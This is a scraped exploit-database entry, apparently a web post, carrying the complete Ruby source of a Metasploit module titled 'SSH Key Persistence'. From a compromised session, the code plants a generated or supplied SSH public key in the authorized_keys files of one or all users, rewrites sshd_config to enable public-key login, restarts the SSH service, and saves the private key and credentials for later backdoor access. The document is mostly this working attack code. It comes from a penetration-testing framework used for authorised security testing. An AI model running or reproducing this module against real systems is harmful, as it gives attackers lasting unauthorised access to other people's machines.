{“lastseen”:”2026-01-27T19:28:03″,”description”:”This module will add an SSH key to a specified user or all, to allow remote login via SSH at any time. No payload is required for this module to work. If an SSH key is not provided, a new 4096 bit RSA keypair will be generated. The private key will be…”,”published”:”2026-01-27T18:55:12″,”modified”:”2026-01-27T18:55:12″,”type”:”metasploit”,”title”:”SSH Key Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-PERSISTENCE-SSH_KEY-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nrequire ‘sshkey’\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Post::File\\n include Msf::Post::Unix\\n include Msf::Post::Windows::UserProfiles\\n include Msf::Exploit::EXE\\n include Msf::Exploit::Local::Persistence\\n include Msf::Exploit::Deprecated\\n moved_from ‘post\/linux\/manage\/sshkey_persistence’\\n moved_from ‘post\/windows\/manage\/sshkey_persistence’\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘SSH Key Persistence’,\\n ‘Description’ =\\u003e %q{\\n This module will add an SSH key to a specified user (or all), to allow\\n remote login via SSH at any time. No payload is required for this module to work.\\n\\n If an SSH key is not provided, a new 4096 bit RSA keypair will be generated.\\n The private key will be stored as loot for later use.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘h00die \\u003cmike@shorebreaksecurity.com\\u003e’, # linux\\n ‘Dean Welch \\u003cdean_welch[at]rapid7.com\\u003e’ # windows\\n ],\\n ‘Platform’ =\\u003e %w[linux unix win], # this must be defined despite the module not using a payload\\n ‘Arch’ =\\u003e ARCH_ALL, # doesn’t matter because we don’t use the payload\\n ‘SessionTypes’ =\\u003e [ ‘meterpreter’, ‘shell’ ],\\n ‘References’ =\\u003e [\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1098_004_SSH_AUTHORIZED_KEYS],\\n [‘URL’, ‘https:\/\/learn.microsoft.com\/en-us\/windows-server\/administration\/openssh\/openssh_keymanagement’],\\n [‘URL’, ‘https:\/\/learn.microsoft.com\/en-us\/windows-server\/administration\/openssh\/openssh_install_firstuse?tabs=gui\\u0026pivots=windows-10’],\\n [‘URL’, ‘https:\/\/stackoverflow.com\/a\/50502015’]\\n ],\\n ‘Targets’ =\\u003e [\\n [ ‘Automatic’, {} ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n\\n ‘Stance’ =\\u003e Msf::Exploit::Stance::Aggressive,\\n ‘Passive’ =\\u003e false,\\n ‘DefaultOptions’ =\\u003e {\\n ‘DisablePayloadHandler’ =\\u003e true, # since this is non-traditional persistence in that it isn’t traditional event driven\\n ‘PAYLOAD’ =\\u003e ‘payload\/generic\/custom’ # dummy payload to avoid issues\\n },\\n ‘DisclosureDate’ =\\u003e ‘1995-07-01’, # ssh first release\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [EVENT_DEPENDENT],\\n ‘SideEffects’ =\\u003e [CONFIG_CHANGES]\\n }\\n )\\n )\\n\\n register_options([\\n OptString.new(‘USERNAME’, [false, ‘User to add SSH key to (Default: all users on box)’ ]),\\n OptPath.new(‘PUBKEY’, [false, ‘Path to Public Key File to use. (Default: Create a new one)’ ]),\\n OptString.new(‘SSHD_CONFIG’, [false, ‘sshd_config file’]),\\n OptBool.new(‘CREATESSHFOLDER’, [true, ‘If no .ssh folder is found, create it for the target user’, false ])\\n ])\\n\\n deregister_options(‘WritableDir’)\\n deregister_options(‘PAYLOAD’)\\n end\\n\\n def check\\n return CheckCode::Safe(‘sshd_config file not found’) unless file?(sshd_config_file)\\n\\n enabled = pubkey_enabled?\\n if enabled.nil?\\n print_warning(‘Unable to determine if PubkeyAuthentication is enabled due to permission issues’)\\n elsif enabled == false\\n return CheckCode::Safe(\\”PubkeyAuthentication disabled in sshd_config and can’t be enabled\\”)\\n end\\n\\n CheckCode::Appears(‘Likely vulnerable’)\\n end\\n\\n def sshd_config_file\\n return datastore[‘SSHD_CONFIG’] if !datastore[‘SSHD_CONFIG’].nil? \\u0026\\u0026 datastore[‘SSHD_CONFIG’].empty?\\n\\n if session.platform == ‘windows’\\n ‘C:\\\\ProgramData\\\\ssh\\\\sshd_config’\\n else # assume *nix\\n ‘\/etc\/ssh\/sshd_config’\\n end\\n end\\n\\n def target_admin_user?\\n !datastore[‘USERNAME’].nil? \\u0026\\u0026 [‘root’, ‘administrator’, ‘admin’].include?(datastore[‘USERNAME’].downcase)\\n end\\n\\n def set_pub_key_file_permissions(file, username = nil)\\n if session.platform == ‘windows’\\n return unless target_admin_user?\\n\\n cmd_exec(\\”icacls #{file} \/inheritance:r\\”)\\n cmd_exec(\\”icacls #{file} \/grant SYSTEM:(F)\\”)\\n cmd_exec(\\”icacls #{file} \/grant BUILTIN\\\\\\\\Administrators:(F)\\”)\\n else\\n chmod(file, 0o600)\\n unless username.nil?\\n cmd_exec(\\”chown #{username}:#{username} #{file}\\”)\\n end\\n end\\n end\\n\\n def windows_service_owner\\n service_info = cmd_exec(‘sc qc sshd’)\\n \/SERVICE_START_NAME\\\\s+: (?\\u003cowner\\u003e.+)\/ =~ service_info\\n owner\\n end\\n\\n def write_key(paths, auth_key_file, sep)\\n if datastore[‘PUBKEY’].nil?\\n key = SSHKey.generate(bits: 4096) # https:\/\/github.com\/bensie\/sshkey\/issues\/41\\n our_pub_key = key.ssh_public_key\\n private_key_path = store_loot(‘id_rsa’, ‘text\/plain’, session, key.private_key, ‘ssh_id_rsa’, ‘OpenSSH Private Key File’)\\n print_good(\\”Storing new private key as #{private_key_path}. Change the permissions to 600 before using it\\”)\\n else\\n our_pub_key = ::File.read(datastore[‘PUBKEY’])\\n end\\n\\n paths.each do |path|\\n path.chomp!\\n authorized_keys = \\”#{path}#{sep}#{auth_key_file}\\”\\n next unless file?(authorized_keys)\\n\\n # make a backup of the authorized_keys file so we can add it to the restore rc\\n auth_keys_backup = read_file(authorized_keys)\\n loot_path = store_loot(‘authorized_keys’, ‘text\/plain’, session, auth_keys_backup, ‘authorized_keys’, ‘SSH Authorized Keys File’)\\n @clean_up_rc \\u003c\\u003c \\”upload #{loot_path} #{authorized_keys}\\\\n\\”\\n # start exploiting\\n print_status(\\”Adding key to #{authorized_keys}\\”)\\n append_file(authorized_keys, \\”\\\\n#{our_pub_key}\\”)\\n set_pub_key_file_permissions(authorized_keys)\\n print_good \\”Persistence installed! Call a shell using ‘ssh -i #{private_key_path} \\u003cusername\\u003e@#{session.session_host}’\\”\\n print_good ‘use auxiliary\/scanner\/ssh\/ssh_login’\\n print_good \\” run KEY_PATH=#{private_key_path} RHOSTS=#{session.session_host} USERNAME=\\u003cusername\\u003e\\”\\n next unless datastore[‘PUBKEY’].nil?\\n\\n path_array = path.split(sep)\\n path_array.pop\\n user = path_array.pop\\n credential_data = {\\n origin_type: :session,\\n session_id: session.db_record ? session.db_record.id : nil,\\n post_reference_name: refname,\\n private_type: :ssh_key,\\n private_data: key.private_key.to_s,\\n username: user,\\n workspace_id: myworkspace_id\\n }\\n\\n create_credential(credential_data)\\n end\\n end\\n\\n def pubkey_enabled?\\n print_status(‘Checking SSH Permissions’)\\n if session.platform != ‘windows’ \\u0026\\u0026 !readable?(sshd_config_file)\\n return nil\\n end\\n\\n sshd_config = read_file(sshd_config_file)\\n return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors\\n\\n if \/^#?\\\\s*PubkeyAuthentication\\\\s+(?\\u003cpub_key\\u003eyes|no)\/ =~ sshd_config\\n # If the line exists, check if it’s commented or explicitly \\”no\\”\\n if sshd_config =~ \/^#\\\\s*PubkeyAuthentication\/ || pub_key == ‘no’\\n print_error(‘Pubkey Authentication disabled’)\\n enable_pub_key_auth(sshd_config)\\n if read_file(sshd_config_file) == sshd_config\\n print_bad(‘Unable to reconfigure sshd_config to enable PubkeyAuthentication’)\\n return false\\n else\\n print_good(‘PubkeyAuthentication enabled successfully’)\\n end\\n else\\n vprint_good(\\”Pubkey set to #{pub_key}\\”)\\n end\\n else\\n # No PubkeyAuthentication line found at all \u2014 treat as disabled\\n print_error(‘Pubkey Authentication not found, assuming disabled’)\\n enable_pub_key_auth(sshd_config)\\n end\\n\\n # also check if the windows admin keys are enabled. See Testing Notes in markdown docs for more info\\n if session.platform == ‘windows’ \\u0026\\u0026 sshd_config !~ \/^(\\\\s*#)\\\\s*(Match Group administrators|AuthorizedKeysFile)\/ \\u0026\\u0026 !target_admin_user?\\n fail_with(Failure::BadConfig, \\”Admin AuthorizedKeysFile enabled, please ‘set username admin’ to use this module\\”)\\n end\\n\\n true\\n end\\n\\n def enable_pub_key_auth(sshd_config)\\n vprint_status(‘Attempting to enable pubkey authentication in sshd_config’)\\n loot_path = store_loot(‘sshd_config’, ‘text\/plain’, session, sshd_config, ‘sshd_config’, ‘SSH Server Configuration’)\\n @clean_up_rc \\u003c\\u003c \\”upload #{loot_path} #{sshd_config_file}\\\\n\\”\\n sshd_config = sshd_config.sub(\/^\\\\s*#?\\\\s*PubkeyAuthentication\\\\s+.*\/i, ‘PubkeyAuthentication yes’)\\n write_file(sshd_config_file, sshd_config)\\n if session.platform == ‘windows’\\n cmd_exec(‘net stop \\”OpenSSH SSH Server\\”‘)\\n cmd_exec(‘net start \\”OpenSSH SSH Server\\”‘)\\n else\\n cmd_exec(‘systemctl restart sshd || service sshd restart || service ssh restart’)\\n end\\n end\\n\\n def authorized_keys_file\\n print_status(‘Determining authorized_keys file’)\\n if session.platform == ‘windows’ \\u0026\\u0026 target_admin_user?\\n return ‘administrators_authorized_keys’\\n end\\n if session.platform != ‘windows’ \\u0026\\u0026 !readable?(sshd_config_file)\\n return nil\\n end\\n\\n sshd_config = read_file(sshd_config_file)\\n return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors. Prefer this over readable? since windows isn’t supported\\n\\n %r{^AuthorizedKeysFile\\\\s+(?\\u003cauth_key_file\\u003e[\\\\w%\/.]+)} =~ sshd_config\\n if auth_key_file\\n auth_key_file = auth_key_file.gsub(‘%h’, ”)\\n auth_key_file = auth_key_file.gsub(‘%%’, ‘%’)\\n if auth_key_file.start_with? ‘\/’\\n auth_key_file = auth_key_file[1..]\\n end\\n else\\n auth_key_file = \\”.ssh#{sep}authorized_keys\\”\\n end\\n print_status(\\”Authorized Keys File: #{auth_key_file}\\”)\\n auth_key_file\\n end\\n\\n def sep\\n if session.type == ‘meterpreter’\\n return session.fs.file.separator\\n elsif session.platform == ‘windows’\\n return ‘\\\\\\\\’\\n end\\n\\n return ‘\/’\\n end\\n\\n def find_user_folders(auth_key_folder)\\n paths = []\\n # all users\\n if datastore[‘USERNAME’].nil?\\n if session.platform == ‘windows’\\n paths = grab_user_profiles.map { |d| \\”#{d[‘ProfileDir’]}#{sep}#{auth_key_folder}\\” }\\n else # assume *nix\\n paths = enum_user_directories.map { |d| \\”#{d}#{sep}#{auth_key_folder}\\” }\\n end\\n # admin user\\n elsif target_admin_user?\\n if session.platform == ‘windows’\\n paths = [‘C:\\\\ProgramData\\\\ssh’]\\n else # assume *nix\\n paths = [\\”\/#{datastore[‘USERNAME’]}\/#{auth_key_folder}\\”]\\n end\\n # specific user\\n elsif session.platform == ‘windows’\\n user_profile = grab_user_profiles.find { |profile| profile[‘UserName’] == datastore[‘USERNAME’] }\\n if user_profile\\n paths = [\\”#{user_profile[‘ProfileDir’]}#{sep}#{auth_key_folder}\\”]\\n else\\n print_error(\\”User #{datastore[‘USERNAME’]} not found\\”)\\n end\\n else # assume *nix\\n user_profile = enum_user_directories.find { |profile| profile.split(sep)[1] == datastore[‘USERNAME’] }\\n if user_profile\\n paths = [\\”#{user_profile[‘ProfileDir’]}#{sep}#{auth_key_folder}\\”]\\n else\\n print_error(\\”User #{datastore[‘USERNAME’]} not found\\”)\\n end\\n end\\n paths.map! { |p| p.delete(\\”\\\\r\\\\n\\”) }\\n paths\\n end\\n\\n def install_persistence\\n auth_key_file = authorized_keys_file\\n unless auth_key_file\\n print_warning(‘Unable to determine authorized_keys file due to permission issues, using default .ssh\/authorized_keys’)\\n auth_key_file = \\”.ssh#{sep}authorized_keys\\”\\n end\\n # ironically windows default ssh config file has .ssh\/authorized_keys so we can’t trust the windows sep here\\n auth_key_folder = auth_key_file.split(%r{[\/\\\\\\\\]+}).reject(\\u0026:empty?)[0…-1].join(sep)\\n auth_key_file = auth_key_file.split(%r{[\/\\\\\\\\]+}).reject(\\u0026:empty?).last\\n home_folders = find_user_folders(auth_key_folder)\\n vprint_status(\\”Found #{home_folders.length} potential user folders\\”)\\n\\n # double check all the folders and files exist that we need\\n home_folders = home_folders.select do |d|\\n authorized_keys_path = \\”#{d}#{sep}#{auth_key_file.split(sep).last}\\”\\n d_exists = directory?(d)\\n\\n if !d_exists \\u0026\\u0026 !datastore[‘CREATESSHFOLDER’]\\n print_warning(\\”No .ssh folder found for #{d}, skipping…\\”)\\n false\\n elsif !d_exists\\n if session.platform == ‘windows’\\n session.fs.dir.mkdir(d)\\n else\\n cmd_exec(\\”mkdir -m 700 -p #{d}\\”)\\n cmd_exec(\\”chown #{d.split(sep)[-2]}:#{d.split(sep)[-2]} #{d}\\”)\\n end\\n @clean_up_rc \\u003c\\u003c \\”rmdir #{d}\\\\n\\”\\n end\\n\\n f_exists = file?(authorized_keys_path)\\n if !f_exists \\u0026\\u0026 !datastore[‘CREATESSHFOLDER’]\\n print_warning(\\”No #{authorized_keys_path} file found, skipping…\\”)\\n false\\n elsif !f_exists\\n unless write_file(authorized_keys_path, ”)\\n print_warning(\\”Unable to create #{authorized_keys_path}, skipping…\\”)\\n false\\n end\\n if session.platform == ‘windows’\\n set_pub_key_file_permissions(authorized_keys_path)\\n else\\n set_pub_key_file_permissions(authorized_keys_path, d.split(sep)[-2])\\n end\\n end\\n true\\n end\\n\\n vprint_status(\\”Found #{home_folders.length} confirmed user folders\\”)\\n\\n if home_folders.nil? || home_folders.empty?\\n fail_with(Failure::NotFound, \\”No users found with a #{auth_key_file} directory. Try setting CREATESSHFOLDER to true.\\”)\\n end\\n\\n write_key(home_folders, auth_key_file, sep)\\n end\\n\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/persistence\/ssh_key.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/persistence\/ssh_key\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-27T19:28:03″,”description”:”This module will add an SSH key to a specified user or all, to allow remote login via SSH at any time. No payload is…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-37632","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n